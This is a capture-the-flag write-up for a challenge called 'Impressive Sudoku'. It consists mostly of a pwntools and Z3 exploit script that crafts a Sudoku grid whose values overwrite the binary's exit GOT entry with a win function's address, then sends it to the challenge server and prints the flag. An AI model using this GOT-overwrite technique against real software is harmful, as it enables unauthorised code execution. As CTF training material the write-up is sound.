day18 - Impressive Sudoku

$ checksec
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)  

from pwn import *
from z3 import Solver, sat, BitVec, Sum, Product


def cross(A, B):
    return [(a + b) for a in A for b in B]


# Read offsets from the binary
binary = ELF('./chal')
scorer = binary.symbols['scorer']
exit_plt = binary.got['exit']
win_plt = binary.symbols['_Z3winv']
log.info("Scorer: 0x%08x", scorer)
log.info("Exit: 0x%08x", exit_plt)
log.info("Win: 0x%08x", win_plt)

# Use Z3 to solve for a valid Sudoku
s = Solver()

elements = cross("ABCDEFGHI", "123456789")
S = {e: BitVec(e, 32) for e in elements}

# Make sure diagonal line used for indexes stay within array bounds
for i in [S["ABCDEFG"[i-1] + str(i)] for i in range(1, 8)]:
    s.add(i > 1)
    s.add(i < 9)

# Payload
s.add(S['H8'] == int(exit_plt - scorer) / 4)
s.add(S['I9'] == win_plt)

# Horizontal
for row in "ABCDEFGHI":
    e = [S[row + str(col)] for col in range(1, 10)]
    s.add(Sum(e) == 45)
    s.add(Product(e) == 362880)

# Vertical
for col in range(1, 10):
    e = [S[row + str(col)] for row in "ABCDEFGHI"]
    s.add(Sum(e) == 45)
    s.add(Product(e) == 362880)

# Boxes
for i in range(3):
    for j in range(3):
        e = [S["ABCDEFGHI"[m + i * 3] + "123456789"[n + j * 3]] for m in range(3) for n in range(3)]
        s.add(Sum(e) == 45)
        s.add(Product(e) == 362880)

log.info("Calculating solution..")
if not s.check() == sat:
    raise Exception("No solution found :(")

model = s.model()
values = {e: model.evaluate(s).as_string() for e, s in S.items()}

log.info("Found solution!")

# Convert the values to separate lines
result = '\n'.join([' '.join([values[row + str(col)] for col in range(1, 10)]) for row in "ABCDEFGHI"])

# Send solution and retrieve the flag
e = remote('3.93.128.89', 1218)
e.recvline()
e.recvline()
e.sendline(result)
log.info(e.recvline())
log.info(e.recv(8192))

$ time python exploit.py 
[*] './chal'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Scorer: 0x0804a1c0
[*] Exit: 0x0804a01c
[*] Win: 0x08048799
[*] Calculating solution..
[*] Found solution!
[+] Opening connection to 3.93.128.89 on port 1218: Done
[*] b'Let me take a look...\n'
[*] b'That is an unimpressive sudoku.\nAOTW{Th3t_is_such_aN_1mpr3ssive_Sud0ku}'

real    0m15.959s
user    0m14.826s
sys 0m0.306s